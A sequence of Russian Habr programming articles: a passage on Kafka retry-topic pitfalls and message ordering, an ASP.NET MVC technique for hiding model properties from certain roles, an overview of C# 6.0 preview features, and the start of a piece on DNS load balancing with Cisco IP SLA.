* Каждый топик должен определять единую схему, которой должно соответствовать каждое сообщение.
#### Партиции и ключи партиций
Топики далее разделяются на ***партиции (partitions)***. Партиции дают возможность потреблять сообщения параллельно. Kafka позволяет детерминированно назначать сообщения в партиции при помощи ***ключа партиции (partition key)***. Ключ партиции — это часть данных (обычно некоторый атрибут самого сообщения, например, идентификатор), к которой применяется алгоритм для определения партиции.
*Здесь мы назначаем ключом партиции поле UUID сообщений. Продюсер применяет алгоритм (например, модифицирует каждое значение UUID по количеству партиций), чтобы отнести каждое сообщение к какой-то партиции.*
Использование ключей партиций таким образом позволяет нам удостовериться в том, что каждое сообщение, сопоставляемое с определенным идентификатором, публикуется в одной партиции.
Также стоит отметить, что несколько консюмеров могут быть объединены в одну *группу консьюмеров*. Kafka обеспечит прочтение любого сообщения в данной партиции одним и тем же количеством консюмеров в рамках группы.
### Использование Kafka с микросервисами
Kafka достаточно мощна. В этой связи она используется в различных средах, охватывая множество вариантов применения. И в этой статье мы поговорим о том, как ее обычно используют в микросервисной архитектуре.
#### Передача сообщения через ограниченный контекст
Когда мы только начали создавать микросервисы, многие из нас сразу приняли централизованную модель. У каждого фрагмента данных был единственный микросервис (т.е. единственный источник истины), в котором этот фрагмент находился. Если какому-то другому микросервису был нужен доступ к этим данным, он делал синхронный вызов для их получения.
Этот подход привел к ряду проблем, включая длинные синхронные цепочки вызовов, единые точки отказа, снижение автономии команды и т.д.
В итоге мы узнали [лучший способ](https://medium.com/better-programming/the-truth-about-your-source-of-truth-a1eb833c2d70). В современных зрелых архитектурах мы разбиваем коммуникацию на [обработку команд и обработку событий](https://medium.com/better-programming/commands-and-events-in-a-distributed-system-282ea5918c49).
Обработка команд обычно выполняется в одном [ограниченном контексте](https://medium.com/datadriveninvestor/if-youre-building-microservices-you-need-to-understand-what-a-bounded-context-is-30cbe51d5085) (bounded context) и по-прежнему обычно включает синхронную коммуникацию.
События же обычно генерируются службами в одном ограниченном контексте и асинхронно публикуются в Kafka для потребления службами в других [ограниченных контекстах](https://medium.com/datadriveninvestor/if-youre-building-microservices-you-need-to-understand-what-a-bounded-context-is-30cbe51d5085).
*На схеме слева представлено то, как мы раньше проектировали связь между микросервисами: сервис в рамках одного ограниченного контекста (представлен прямоугольником с пунктирной линией) получает синхронные вызовы от сервисов в рамках других ограниченных контекстов. Справа представлено то, как мы делаем это сейчас: сервис в рамках одного ограниченного контекста публикует события, сервисы из других ограниченных контекстов потребляют эти события в своем темпе.*
Назовем этот вариант *трансграничной публикацией событий* (cross-boundary event publishing).
Производя трансграничную публикацию событий, мы должны публиковать [*агрегаты*](https://medium.com/better-programming/why-your-microservices-architecture-needs-aggregates-342b16dd9b6d) (aggregates). Агрегаты — это независимые группы сущностей, каждая из которых рассматриваются как единичные атомарные сущности. У каждого агрегата есть «корневой» объект, а также некоторое количество подчиненных объектов, которые предоставляют дополнительные данные.
В нашем примере мы можем определить агрегат *UserAccount*. Его корневым объектом будет, вероятно, сущность *User* (содержащая в глобальном масштабе уникальный ID: имя, фамилия, дата рождения и т.д.). Там также могут содержаться сущности, представляющие фрагменты контактной информации (*EmailAddress, PhoneNumber* и т.д.). Что важно, агрегат примет уникальный в глобальном масштабе ID как свой собственный ID.
Когда наш *UserAccount* публикует сообщение, информационное наполнение этого сообщения будет некоей репрезентацией (JSON или [Avro](http://avro.apache.org), например) агрегата *UserAccount*. Важно, что сервис определит уникальный ID учетной записи пользователя как ключ партиции. Это обеспечит в будущем публикацию изменений в *любых сущностях любого UserAccount в одну и ту же партицию*.
### Что происходит, когда возникает проблема?
Хотя трансграничная публикация событий с помощью Kafka оказывается достаточно элегантной, это распределенная система. Поэтому многое может пойти не так. Мы рассмотрим, наверное, самую типичную, мучительную проблему: консюмер не может обработать потребленное сообщение.
*И что теперь делать?*
#### Идентифицировать это как проблему
Первое, что команды делают не так, это просто не распознают это как потенциальную проблему. Время от времени будет случаться сбой сообщений, и нам придется разработать стратегию решения этой проблемы… до того, как она по-настоящему случится.
Поэтому первым шагом будет понять, что эта проблема произойдет и разработать решение для ее устранения. Если мы дошли до этого пункта, нам нужно себя поздравить. Теперь встает большой вопрос: *что с этим делать?*
#### Разве нельзя просто повторно это сообщение передать (retry)?
По умолчанию, если консюмер не производит успешного потребления сообщения (т.е. консюмер не может произвести текущее смещение), он будет снова и снова возвращаться к этому сообщению. Почему же мы не можем позволить этой модели по умолчанию работать и возвращаться к сообщению, пока не будет успеха?
Проблема в том, что успешной обработки может не произойти никогда. По крайней мере без какого бы то ни было ручного вмешательства. Консюмер поэтому *никогда* не перейдет к последующим сообщениям, и обработка сообщений зайдет в тупик.
#### Хорошо, а нельзя ли просто пропустить сообщение?
Мы обычно позволяем синхронным запросам не заканчиваться успехом. Например, ПУБЛИКАЦИЯ “создать пользователя”, созданная в нашем *UserAccount*, может содержать неверные или неполные данные. В этом случае мы просто можем выдать код ошибки (например, HTTP 400) и попросить вызывающего оператора попытаться еще раз.
И хотя это не идеальный выход, он не приведет ни к каким продолжительным проблемам в целостности наших данных. Эта ПУБЛИКАЦИЯ представляет *команду*, что-то, что *еще не произошло*. Даже если мы позволим этой публикации завершиться без успеха, наши данные останутся в согласованном состоянии.
Это не тот случай, когда мы отбрасываем сообщения. Сообщения представляют собой *события*, которые *уже произошли*. Любой консюмер, игнорирующий события, будет перманентно не согласован с вышестоящим сервисом, который сформулировал событие.
И все это ради того, чтобы сказать, мы *не хотим пропускать сообщения*.
#### И как же нам решить проблему?
Это не самая легкая для нас проблема. Поэтому когда мы осознали необходимость ее решить, нам, возможно, придется посмотреть в интернете, как же ее решить. Что приводит ко второй проблеме: там можно найти советы, которым лучше не следовать.
### Retry topic: популярное ходовое решение
Одно из популярных решений, которое вы найдете на просторах интернета, включает в себя *топик повтора* (retry topic). Мелкие детали разнятся от реализации к реализации, но общая канва такова:
1. Консюмер делает попытку потребить сообщение из главного топика.
2. Если первая попытка не удалась, консюмер публикует сообщение в *топик повтора* и затем фиксирует смещение сообщения, чтобы иметь возможность продолжить работу со следующим сообщением.
3. На топик повтора подписан *консюмер повтора*, у которого та же самая логика, что и у основного консюмера. Этот консюмер вводит короткую отсрочку между попытками потребить сообщение. И если этот консюмер также не может удачно потребить сообщение, он публикует сообщение во *второй* топик повтора и фиксирует смещение сообщения.
4. Так это продолжается с еще некоторым количеством повторных топиков и консюмеров, в каждом случае с увеличивающейся отсрочкой (что служит стратегией отката (backoff strategy)). В конце концов, когда сообщение не удается обработать последнему консюмеру повтора, оно отправляется в очередь отвергаемых сообщений (dead letter queue, DLQ), где его вручную сортируют инженеры.
*Концептуально шаблон retry-topic (топик повтора) определяет количество топиков, на которые переведут необработанные сообщения. Если консюмер главного топика потребляет сообщение, которое он не может обработать, он опубликует это сообщение в топике повтора 1 и совершает текущее смещение, чтобы освободиться для следующих сообщений. Консюмер из топика повтора будет клоном основного консюмера, с тем лишь отличием, что он в случае неудачи будет публиковать сообщение в новый топик повтора. В итоге, если последний консюмер не смог обработать сообщение, он опубликует сообщение в очередь отвергаемых сообщений (dead letter queue, DLQ)*
### В чем же проблема?
На первый взгляд, этот подход кажется обоснованным. И в реальности он нормально сработает во многих случаях. Проблема в том, что это решение не подойдет в качестве *универсального*. На самом деле есть некоторые случаи, как наша трансграничная публикация событий, для которых этот подход будет опасным.
#### Он не берет в расчет различия типов проблем
Первая проблема: он не берет в расчет, что в большинстве случаев будет встречаться одна из двух причин неудачного потребления событий: *исправимая ошибка* и *неисправимая ошибка*.
***Исправимые ошибки*** (recoverable errors) — ошибки, которые в случае, если мы достаточно количество раз предпримем повтор, в итоге будут исправлены. Простым примером может стать консюмер, сохраняющий данные в базу. Если база данных будет временно недоступна, консюмер даст сбой, когда придет следующее сообщение. Как только база данных снова станет доступна, тогда консюмер снова сможет обрабатывать сообщение.
По-другому на это можно посмотреть следующим образом: исправима та ошибка, корневая причина которой является внешней по отношению к сообщению и консюмеру. Как только решается эта проблема, наш консюмер продолжит работу, как будто ничего не произошло. *(И вот здесь как раз кроется частый источник путаницы. Термин «исправимый» не означает, что само приложение — в нашем случае консюмер — производит исправление. Как раз наоборот, именно какой-то внешний ресурс — в нашем случае база данных — дает сбой и в итоге исправляется.)*
Штука в том, что исправимые ошибки поразят все без исключения сообщения в теме. Вспомним, что все сообщения в теме должны соответствовать одной схеме и представлять один тип данных. Аналогично и наш консюмер будет проводить то же самое действие(я) для каждого события в теме. Поэтому если сообщение А должно дать сбой из-за отказа базы данных, тогда то же самое сделают сообщение В, сообщение С и т.д.
***Неисправимые ошибки***(non-recoverable errors) — ошибки, которые все равно будут случаться, независимо от того, сколько раз мы попробуем повторно выполнить операцию. Например, пропуск поля в сообщении может привести к NullPointerException. Или из-за поля со специальным символом сообщение будет отображено как не поддающееся синтаксическому анализу.
В отличие от исправимых ошибок, неисправимые в основном затрагивают одиночные, изолированные сообщения. Например, если только в сообщении А содержится специальный символ, то сообщение В пройдет успешно, как и сообщение С и т.д.
Также, в отличие от исправимых ошибок, чтобы решить неисправимые ошибки, надо «исправить» сам консюмер (никогда не «исправляйте» сами сообщения: это неизменяемые записи!) Например, мы можем исправить наш консюмер, чтобы все значения NULLS обрабатывались должным образом, а затем снова его развернуть.
И какое все это имеет отношение к решению с топиками повторов?
Для начала, это не будет особо полезным при исправимых ошибках. Мы помним, что до разрешения внешней проблемы исправимая ошибка будет затрагивать каждое сообщение, не только текущее. Так что, конечно, направление сообщения со сбоем в топик повтора освободит путь для следующего сообщения. Но это сообщение также даст сбой, и следующее после него, и после него… Мы просто можем предоставить консюмеру возможность самому повторять операцию, пока проблема не разрешится.
А что насчет неисправимых ошибок? Очереди повтора могут помочь в этом случае. Если одно проблемное сообщение задерживает потребление всех последующих сообщений, то уборка его с пути определенно разблокирует нашего консюмера (конечно, наличие нескольких топиков повтора становится излишним).
Однако хотя очередь повторов может помочь разблокировать консюмеров, устранив сообщения с неисправимыми ошибками, она может привести к еще более серьезным проблемам. Давайте читать дальше, чтобы выяснить почему…
#### Он игнорирует очередность
Кратко повторим некоторые важные аспекты трансграничной публикации событий. После обработки команды в нашем ограниченном контексте мы публикуем соответствующее событие в топик Kafka. Что важно, мы указываем ID агрегата в качестве ключа партиции.
Почему это важно? Это гарантирует, что изменения в любом отдельно взятом агрегате всегда публикуются в *одну и ту же партицию*.
Хорошо. Почему же тогда *это* важно? Публикация событий в одну и ту же партицию гарантирует их обработку *в той последовательности, в которой они произошли*. Если изменения в одном и том же агрегате произведены с небольшим интервалом, а возникающие в связи с ними события записаны в разные партиции, может возникнуть подобие гонки, в ходе которой консюмер потребляет второе изменение прежде первого. А это приводит к противоречивости данных.
Давайте рассмотрим небольшой пример. Наш ограниченный контекст *User* предлагает приложение, позволяющее пользователям менять свои имена. Пользователь А меняет свое имя с *Zoey* на *Zoё*… и затем сразу же меняет его на *Zoiee*. Если бы нам не была важна очередность, низовой консюмер (скажем, в ограниченном контексте *Login*) первым может обработать изменение на *Zoiee*, а сразу после этого переписать его на *Zoё*.
Теперь данные *Login* рассинхронизированы с данными *User*. Более того, каждый раз при входе на наш сайт Zoiee будет видеть приветствие: «Добро пожаловать, Zoё!»
И это настоящая проблема с retry topic. Они оставляют наши консюмеры уязвимыми к обработке событий не в порядке очередности. Если на консьюмера повлияет временный сбой базы данных, пока он обрабатывает изменение *Zoё*, он переправит сообщение в топик повтора, чтобы обработать его позднее. Если сбой в базе данных исправлен к тому времени, как появляется изменение *Zoiee*, тогда это сообщение будет успешно обработано *первым*, а позднее перезаписано изменением *Zoё*.
Для понятности пример с Zoiee/Zoё так прост. В реальности обработка событий в порядке очередности может привести к целому ряду проблем с искажением данных. Что хуже, эти проблемы сперва остаются незамеченными. Они обычно приводят к искажению данных, которое остается какое-то время никем не замеченным, но постепенно увеличивается. Часто к тому времени, когда мы понимаем, что произошло, большие фрагменты информации уже поражены.
#### В каких же случаях retry topic может быть полезен?
Стоит прояснить, что это не всегда плохой вариант. Несомненно, есть случаи, когда топики повторов оптимально подходят. Если конкретно, этот шаблон применяем, когда задача консюмера — собирать неизменяемые записи. Такие примеры могут включать:
* Консюмера, который обрабатывает потоки активности на веб-сайте для создания отчетов.
* Консюмера, добавляющего транзакции в журнал (при условии, что эти транзакции не нужно отслеживать в определенном порядке.
* Консюмера, который извлекает данные из других источников данных.
Эти и другие подобные консюмеры могут получить пользу от шаблона топика повторов без риска искажения данных.
#### Все же небольшое предостережение
Даже в случае таких вариантов использования нам все равно следует действовать с осторожностью. Создание такого решения сложно и затратно. Поэтому как организация мы не хотим писать новое решение для каждого нового консюмера. Вместо этого мы захотим создать одно решение — библиотеку, контейнер и т.д. — которое можно использовать в разных сервисах.
И здесь кроется дополнительный повод для беспокойства. Мы можем создать решение с топиком повторов для релевантных консюмеров. К сожалению, через некоторое время это решение проникнет в консюмеры трансграничной публикации событий. Команды, которые занимаются теми консюмерами, могут не знать о рисках. И как мы обсуждали ранее, они просто не заметят проявления проблем, пока не произойдет существенного искажения данных.
Поэтому прежде чем мы внедрим решение с топиком повторов, мы должны быть на 100% уверены, что либо:
* Наш бизнес таков, что у нас *никогда* не будет консюмеров, которые обновляют существующие данные, или
* У нас есть незыблемые средства управления, чтобы не допустить внедрения решения с топиком повторов для таких консюмеров.
### Как мы можем исправить шаблон?
Учитывая, что шаблон с топиком повтора не может быть приемлемым решением для трансграничной публикации событий, можем ли мы его адаптировать так, чтобы это стало возможным?
Изначально я планировал, чтобы эта статья содержала решение, но в процессе я осознал, что нет единого решения на все случаи. Поэтому вместо первоначального плана мы обсудим некоторые вещи, которые стоит учитывать.
#### Снятие неоднозначности типов ошибок
Наша жизнь будет гораздо проще, если мы сможем снимать неоднозначность между исправимыми и неисправимыми ошибками. Например, если наш консюмер начинает испытывать исправимые ошибки, то топики повторов становятся излишними.
Поэтому мы можем попытаться определить, с каким типом ошибки мы имеем дело:
```
void processMessage(KafkaMessage km) {
try {
Message m = km.getMessage();
transformAndSave(m);
} catch (Throwable t) {
if (isRecoverable(t)) {
// ...
} else {
// ...
}
}
}
```
В приведенном выше примере псевдо-кода на Java `isRecoverable()` будет использовать подход белого списка (whitelist approach) для определения, представляет ли *t* исправимую ошибку. Другими словами, он проверяет *t*, чтобы определить соответствует ли она любой другой известной исправимой ошибке (скажем, ошибке соединения SQL или таймаут клиента REsT), и возвращает *true*, если это так. Если нет, возвращает *false*. Это поможет предотвратить нескончаемую блокировку неисправимых ошибок.
Признаемся, что снимать неоднозначность между исправимыми и неисправимыми ошибками может быть непросто. Например, SQLException может показывать отказ базы данных (исправимый) или нарушение ограничения (неисправимое). При возникновении сомнений нам, наверное, стоит предположить, что ошибка неисправима, что повышает риск отправить хорошие сообщения в stash topic (назовем его *топик-загашник*), что отложит их обработку… Но в то же время мы избежим нечаянного забуксовывания, когда консюмер будет бесконечно пытаться обработать неисправимую ошибку.
#### Повторная обработка исправимых ошибок консюмером
Как мы уже говорили, в случае с исправимыми ошибками мало смысла отправлять сообщение в топик повторов. Мы просто освободим очередь, чтобы дать место для провала *следующему* сообщению. Вместо этого консюмер просто может пытаться заново, пока состояние не исправится.
Конечно, наличие исправимой ошибки свидетельствует о наличии проблемы с внешним ресурсом.
Забивание этого ресурса запросами не улучшит ситуацию. Поэтому мы захотим применить стратегию отката для наших повторных попыток. Псевдо-Java код теперь выглядел бы как-то так:
```
void processMessage(KafkaMessage km) {
try {
Message m = km.getMessage();
transformAndSave(m);
} catch (Throwable t) {
if (isRecoverable(t)) {
doWithRetry(m, Backoff.EXPONENTIAL, this::transformAndSave);
} else {
// ...
}
}
}
```
(Заметьте, любой механизм отката должен быть настроен так, чтобы предупреждать нас, когда он достигает определенного предела, уведомляя нас о потенциально серьезной проблеме).
#### Встречаясь с неисправимыми ошибками, отправляйте сообщения сразу в последний топик
С другой стороны, когда наш консюмер встречается с неисправимой ошибкой, нам, вероятно, хочется убрать это сообщение подальше, чтобы освободить последующие сообщения. Но поможет ли в этом случае множество топиков повторов? Не совсем. Просто наше сообщение не сможет быть обработано n раз, прежде чем отправиться в DLQ. Тогда почему бы сразу его туда не отправить?
Также как и с топиком повтора, у этого *топика-загашника* будет свой консюмер, идентичный основному консюмеру. Но так же как DLQ, этот консюмер не всегда будет потреблять сообщения. Он будет это делать только в случае явной в этом необходимости.
#### Подумаем об очередности
Давайте посмотрим, где мы с вами находимся в плане очередности. Используем снова пример User/Login. Консюмер *Login* может получить ошибку, пытаясь обработать символ ё в имени *Zoё*. Распознав его как неисправимую ошибку, консюмер откладывает это сообщение в сторону и продолжает со следующими. Вскоре он дойдет до сообщения *Zoiee* и удачно его обработает.
Сообщение Zoё было отложено в загашник, а сообщение Zoiee удачно обработано. На некоторое время данные между двумя ограниченными контекстами единообразны.
Чуть позже наша команда исправляет консюмера, чтобы он мог правильно обрабатывать специальные символы, и заново его развертывает. После этого мы заново публикуем сообщение Zoё в консюмера, и теперь он безошибочно его обрабатывает.
Когда обновленный консюмер позднее обрабатывает отложенное сообщение *Zoё*, данные между двумя ограниченными контекстами не согласуются. Поэтому пока ограниченный контекст *User* думает о пользователе как о *Zoiee*, ограниченный контекст *Login* знает ее как *Zoё*.
Очевидно, у нас не получилось соблюсти очередность. *Zoё* была обработана консюмером *Login* после *Zoiee*, хотя должно было быть наоборот. Мы можем начать откладывать в загашник каждое сообщение после откладывания одного, но в таком случае мы быстро окажемся в тупике.
Однако если наш консюмер может отслеживать ID сообщений, которые он отложил, он может также откладывать все сообщения с тем же самым ID. Другими словами, нам не надо соблюдать очередность всех сообщений… А только сообщений с *единственным агрегатом*.
Как только мы получили уведомление об отложенных в загашнике сообщениях, мы можем отменить развертывание нашего консюмера и исправить его код (важно: никогда не изменяйте само сообщение, сообщения представляют собой неизменяемые события!). После исправления и тестирования консюмера мы можем заново ввести его в эксплуатацию. Конечно, перед возобновлением потребления основного топика нам надо будет с особым внимание отнестись к обработке всех отложенных сообщений из топика-загашника. Таким образом мы продолжим поддерживать очередность. По этой причине мы сначала запустим консюмера загашника, и только после того как он завершит (имеем в виду все *единицы* в группе консюмеров, если мы используем несколько консюмеров), мы отменим его развертывание и развернем основного консюмера.
Мы также должны понимать, что пока наш исправленный консюмер обрабатывает отложенные сообщения, он может столкнуться с дополнительными ошибками. В этом случае его стратегия по решению ошибок будет такой, как мы уже обсуждали:
* если ошибка исправимая, он повторит с откатами;
* если ошибка неисправимая, он отложит данное сообщение и продолжит со следующим.
Для этих целей, возможно, нам стоит подумать о создании второго топика-загашника.
#### Согласны на некоторую несогласованность данных?
Создание такой системы может быть довольно сложной задачей. Ее сложно строить, тестировать и обслуживать. Поэтому некоторые организации могут решить определить вероятность появления несогласованных данных и решить, могут ли они жить с таким риском.
Во многих случая такие организации могут задействовать механизм сверки данных, чтобы их данные в итоге (и это достаточно длительное “в итоге”) становились согласованными. Для этого существует много стратегий, но все они лежат за пределами охвата этой статьи.
### Заключение
Если вам кажется, что работа с повторными попытками обработки сложна, вам не кажется. Это так и есть. Особенно если сравнивать ее с относительной элегантностью Kafka, когда все идет правильно. Любое решение, которое мы построим — будь то топики повторов, топики отложенных сообщений или любые другие решения — будут гораздо более сложными, чем нам бы того хотелось.
К сожалению, это не то, что мы можем игнорировать, если мы надеемся построить устойчивые асинхронные коммуникационные потоки между нашими микросервисами.
В этой статье представлено популярное решение со всеми недостатками и пищей для размышления, когда вы создаете альтернативное решение. Главное, чтобы построить правильное решение, нужно держать в голове пару вещей:
* Понимать, что представляет из себя Kafka в вопросе топиков, партиций и ключей партиций.
* Учитывать отличия между исправимыми и неисправимыми ошибками.
* Использовать такие паттерны проекта, как ограниченные контексты и агрегаты.
* Четко представлять случаи использования Kafka в нашей организации как в настоящем, так и в перспективе. Мы только перемещаем независимые записи? В этом случае нам особо не надо заботиться об очередности. Или мы распространяем события, которые представляют собой изменения в наших данных? В этом случае очередность совершенно необходима.
* Обдумать, готовы ли мы жить с несогласованностью какого бы то ни было объема данных.
***От редакции:***
*Для тех, кому интересно изучение Apache Kafka, Слёрм [готовит видеокурс](https://slurm.io/kafka?utm_source=habr&utm_medium=post&utm_campaign=kafka-videocourse&utm_content=post_08-12-2020&utm_term=skovpen) от инженеров компаний Авито и Stripe. Курс доступен с 7 апреля 2021, до этого времени его можно купить по цене предзаказа.*
*Базовый курс по технологии от спикеров уже [доступен на Youtube](https://www.youtube.com/watch?v=w7HSY8L1bsk&list=PL8D2P0ruohOAR7DAkEjhOqlQreg9rxBMu).*
**Источники**:
* <https://dzone.com/articles/creating-apache-kafka-topics-dynamically-as-part-o>
* <https://quarkus.io/blog/kafka-failure-strategy/>
* <https://eng.uber.com/reliable-reprocessing/>
* <https://jaceklaskowski.gitbooks.io/apache-kafka/content/kafka-topics.html>
* <https://www.red-gate.com/simple-talk/sql/bi/reconciling-data-across-systems-using-reconciliation-hub/> | https://habr.com/ru/post/531838/ | null | ru | null |
# Запрет чтения свойств модели в ASP.NET MVC
В моей [прошлой статье](http://habrahabr.ru/post/156285/) был рассмотрен один из возможных вариантов защиты от редактирования свойств модели в Web приложениях, написанных на ASP.NET MVC. Данная статья будет посвящена рассмотрению одного из вариантов запрета чтения некоторых свойств модели конкретными ролями пользователей.
#### Задача
Предположим, что есть класс ClientViewModel.
```
public class ClientViewModel
{
public int Id { get; set; }
public string Name { get; set; }
public string Inn { get; set; }
}
```
После того, как в Action методе получен конкретный экземпляр ViewModel, он передается в представление View как параметр, со всеми своими метаданными. Все поля модели отображаются на странице.
Но что, если значение поля Inn нельзя показывать некоторым ролям пользователей? Необходимо разработать механизм, который позволял бы декларативно указывать роли, для которых запрещено чтение некоторых свойств.
#### Идея решения
В момент передачи модели в представление перехватить ее, и, если пользователь относится к роли, которой запрещено чтение, заменить значение свойства соответствующим сообщением.
#### Решение
Создадим атрибут DenyReadRolesAttribute, применяемый к свойствам модели. В нем будет указываться список ролей, которым запрещено чтение.
```
[AttributeUsage(AttributeTargets.Property, AllowMultiple = false)]
public class DenyReadRolesAttribute : Attribute, IMetadataAware
{
public string Roles { get; set; }
public void OnMetadataCreated(ModelMetadata metadata)
{
if (Roles.Split(',').Any(IsUserInRole))
metadata.Model = metadata.SimpleDisplayText = "Чтение запрещено";
}
private bool IsUserInRole(string roleName)
{
return HttpContext.Current != null &&
HttpContext.Current.User != null &&
HttpContext.Current.User.IsInRole(roleName);
}
}
```
Атрибут должен реализовать интерфейс IMetadataAware, чтобы иметь возможность изменять метаданные модели. В единственном методе интерфейса OnMetadataCreated определяется, относится ли хоть одна из ролей пользователя к списку запрещенных. Если таковая есть, то значение свойства, и его строковое представление заменяются текстом «Чтение запрещено».
Дополнительно необходимо запретить передачу защищенных свойств в модель из Web формы в момент привязки, чтобы текст сообщения или внесенные пользователем изменения не попали обратно в модель. Для этого подойдет пример, рассмотренный мной в статье «Запрет редактирования свойств модели в ASP.NET MVC». Необходимо немного изменить метод BindProperty в классе CustomModelBinder следующим образом:
```
public class CustomModelBinder : DefaultModelBinder
{
protected override void BindProperty(ControllerContext controllerContext, ModelBindingContext bindingContext, System.ComponentModel.PropertyDescriptor propertyDescriptor)
{
var d = propertyDescriptor.Attributes.OfType().FirstOrDefault();
if (d != null && d.Roles.Split(',').Any(r => controllerContext.HttpContext.User.IsInRole(r)))
return;
base.BindProperty(controllerContext, bindingContext, propertyDescriptor);
}
}
```
И установить его в качестве привязчика по умолчанию Global.asax.cs:
```
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
ModelBinders.Binders.DefaultBinder = new CustomModelBinder();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
}
```
Теперь остается пометить новым атрибутом поля ViewModel, которые должны быть скрыты, указав в нем через запятую список ролей, которым запрещено чтение.
```
public class ClientViewModel
{
[DisplayName("Индекс")]
public int Id { get; set; }
[DisplayName("Название")]
public string Name { get; set; }
[DisplayName("ИНН")]
[DenyReadRoles(Roles = "User")]
public string Inn { get; set; }
}
```
#### Результат
Теперь, при работе с данными, пользователь, которому запрещено чтение свойства Inn, в соответствующих полях представления, будь то страница для чтения или Web форма для редактирования, будет видеть текст «Чтение запрещено». Изменения, внесенные им в форме для редактирования, так же останутся проигнорированными.
 | https://habr.com/ru/post/165823/ | null | ru | null |
# Что нового в C# 6.0?
Microsoft выпустила предварительную версию Visual studio 2015 и .Net 4.6 для разработчиков. В новом C# 6.0 несколько новых возможностей, которые могут облегчить кодинг.
В этой статье рассмотрены новые возможности языка C# 6.0. Скачать новую VS можно по ссылке:
[Microsoft Visual Studio Ultimate 2015 Preview](http://www.microsoft.com/en-us/download/details.aspx?id=44934)
Инициализация свойств со значениями
-----------------------------------
В C# 6.0 мы можем инициализировать свойства со значениями, написав справа от них их значение. Это поможет избежать ошибки с null и пустыми значениями свойства.
#### Раньше:
```
public int Id { get; set; }
public string FirstName { get; set; }
```
#### Теперь:
```
public int Id { get; set; } = 1001;
public string FirstName { get; set; } = "Srinivas";
```
Интерполяция строк
------------------
Каждый день нам приходится сталкиваться с конкатенацией строк. Кто-то в основном использует оператор “+”, кто-то — метод string.Format(). Мне лично по душе string.Format(). Но проблемы с ним всем известны: при слишком большом количестве параметров тяжело понимать, что означают каждое число – {1}, {2}, {3}. В C# 6.0 придумали новую возможность, которая должна объединить достоинства обоих методов.
#### Раньше:
```
name = string.Format("Employee name is {0}, located at {1}", emp.FirstName, emp.Location);
```
#### Теперь:
```
name = $"Employee name is {emp.FirstName}, located at {emp.Location}";
```
По просьбе трудящихся IL код
```
IL_0000: nop
IL_0001: ldstr "Ivan"
IL_0006: stloc.0
IL_0007: ldstr "Moscow"
IL_000c: stloc.1
IL_000d: ldstr "Employee name is {0}, located at {1}"
IL_0012: ldloc.0
IL_0013: ldloc.1
IL_0014: call string [mscorlib]System.String::Format(string, object, object)
IL_0019: stloc.2
IL_001a: ret
```
Так же можно использовать условия:
```
name = $"Employee name is {emp.FirstName}, located at {emp.Location}. Age of employee is
{(emp.Age > 0) ? emp.Age.ToString() : "N/A"}";
```
Использование лямбда-выражений
------------------------------
В C# 6.0 свойства и методы можно определять через лямбда-выражения. Это сильно уменьшает количество кода.
#### Раньше:
```
public string[] GetCountryList()
{
return new string[] { "Russia", "USA", "UK" };
}
```
#### Теперь:
```
public string[] GetCountryList() => new string[] { "Russia", "USA", "UK" };
```
Импорт статических классов
--------------------------
Все статические члены класса могут быть определены с помощью другого статического класса. Но нам приходится постоянно повторять имя данного статического класса. При большом количестве свойств приходится много раз повторять одно и то же.
В C# 6.0 появилась возможность импортировать с помощью ключевого слова using статические классы. Рассмотрим все на примере использования библиотеки Math:
#### Раньше
```
double powerValue = Math.Pow(2, 3);
double roundedValue = Math.Round(10.6);
```
#### Теперь:
```
using System.Math;
double powerValue = Pow(2, 3);
double roundedValue = Round(10.6);
```
Это можно использовать не только внутри класса, но и при выполнении метода:
#### Раньше:
```
var employees = listEmployees.Where(i => i.Location == "Bangalore");
```
#### Теперь:
```
using System.Linq.Enumerable;
var employees = Where(listEmployees, i => i.Location == "Bangalore");
```
Null-условный оператор
----------------------
C# 6.0 вводит новый так называемый Null-условный оператор (?.), который будет работать поверх условного оператора (?:). Он призван облегчить проверку на NULL значения.
Он возвращает null значения, если объект класса, к которому применен оператор, равен null:
```
var emp = new Employee()
{
Id = 1,
Age = 30,
Location = "Bangalore",
Department = new Department()
{
Id = 1,
Name = "IT"
}
};
```
#### Раньше:
```
string location = emp == null ? null : emp.Location;
string departmentName = emp == null ? null : emp.Department == null ? null : emp.Department.Name;
```
#### Теперь:
```
string location = emp?.Location;
string departmentName = emp?.Department?.Name;
```
nameof оператор
---------------
В C# 6.0 оператор nameof будет использоваться, чтобы избежать появления в коде строковых литералов свойств. Этот оператор возвращает строковый литерал передаваемого в него элемента. В качестве параметра можно передать любой член класса или сам класс.
```
var emp = new Employee()
{
Id = 1,
Age = 30,
Location = "Moscow",
Department = new Department()
{
Id = 1,
Name = "IT"
}
};
Response.Write(emp.Location); //result: Moscow
Response.Write(nameof(Employee.Location)); //result: Location
```
Await в catch и finally блоках
------------------------------
До C# 6.0 нельзя было использовать в блоках catch и final оператор await. Сейчас такая возможность появилась. Ее можно будет использовать для освобождения ресурсов или для ведения логов ошибок.
```
public async Task StartAnalyzingData()
{
try
{
// код
}
catch
{
await LogExceptionDetailsAsync();
}
finally
{
await CloseResourcesAsync();
}
}
```
Фильтры исключений
------------------
Фильтры исключений были в CLR, и они доступны в VB, но их не было в C#. Теперь данная возможность появилась, и можно накладывать дополнительный фильтр на исключения:
```
try
{
//Вызываем исключение
}
catch (ArgumentNullException ex) if (ex.Source == "EmployeeCreation")
{
//Нотификация об ошибке
}
catch (InvalidOperationException ex) if (ex.InnerException != null)
{
//Нотификация об ошибке
}
catch (Exception ex) if (ex.InnerException != null)
{
//Сохраняем данные в лог
}
```
Инициализация Dictionary
------------------------
В C# 6.0 добавлена возможность инициализации Dictionary по ключу значения. Это должно упростить инициализацию словарей.
Например, для JSON объектов:
```
var country = new Dictionary
{
[0] = "Russia",
[1] = "USA",
[2] = "UK",
[3] = "Japan"
};
```
В C# 6.0 много синтаксических изменений и новых возможностей. Также Microsoft улучшает новый компилятор в плане производительности.
P.S. Новые возможности описаны на текущую версию компилятора, к выходу финальной версии синтаксис может измениться. | https://habr.com/ru/post/249555/ | null | ru | null |
# Балансировка кэширующего DNS на основе Cisco IP SLA
В сети любого Интернет-провайдера можно встретить такой обязательный элемент, как кэширующий DNS сервис. А поскольку работа сети Интернет без службы DNS невозможно, серверов таких будет минимум два, с обязательным резервированием и балансировкой. В заметке я постараюсь описать один из вариантов балансировки нагрузки между несколькими кэширующими серверами на основе Cisco IP SLA.
Возможные решения
=================
Балансировка на клиентской стороне
----------------------------------
